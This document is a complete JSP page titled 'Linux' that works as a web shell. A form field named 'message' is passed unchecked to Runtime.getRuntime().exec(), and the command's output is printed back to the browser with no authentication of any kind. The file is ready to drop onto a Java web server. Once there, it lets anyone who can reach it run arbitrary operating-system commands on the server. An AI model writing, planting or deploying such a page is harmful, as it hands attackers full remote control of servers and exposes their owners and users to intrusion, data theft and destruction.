<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.rmi.RemoteException" %>
<%@page import="java.util.Calendar"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.io.LineNumberReader"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<%@page import="javax.servlet.jsp.tagext.TryCatchFinally"%><html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Linux</title>
</head>
<body>
<br/>
<br/>
<br/>
<br/>
<div style="height:500px; width:660px; margin:0 auto;">
<h2>Linux</h2>
<hr/>
<form action="">
<div>message : <input name ="message" value="ls"></div>
<br/>
<div> type : <input name ="type" value="0"></div>
<hr/>
<div><input type="submit" value="send"/></div>
</form>
</br>
<hr/>
</br>
<%
String message =request.getParameter("message");
String tp =request.getParameter("type");
StringBuffer buf = new StringBuffer(1000);
String rt="-1";
try {
Process pos = Runtime.getRuntime().exec(message);
pos.waitFor();
if(Integer.parseInt(tp)==1){
if(pos.exitValue()==0){
rt="1";
}
}else{
InputStreamReader ir = new InputStreamReader(pos.getInputStream());
LineNumberReader input = new LineNumberReader(ir);
String ln="";
while ((ln =input.readLine()) != null) {
buf.append(ln+"<br>");
}
rt = buf.toString();
input.close();
ir.close();
}
} catch (java.io.IOException e) {
rt=e.toString();
}catch (Exception e) {
rt=e.toString();
}
out.print("result:["+rt+"]");
%>
</div>
</body>
</html>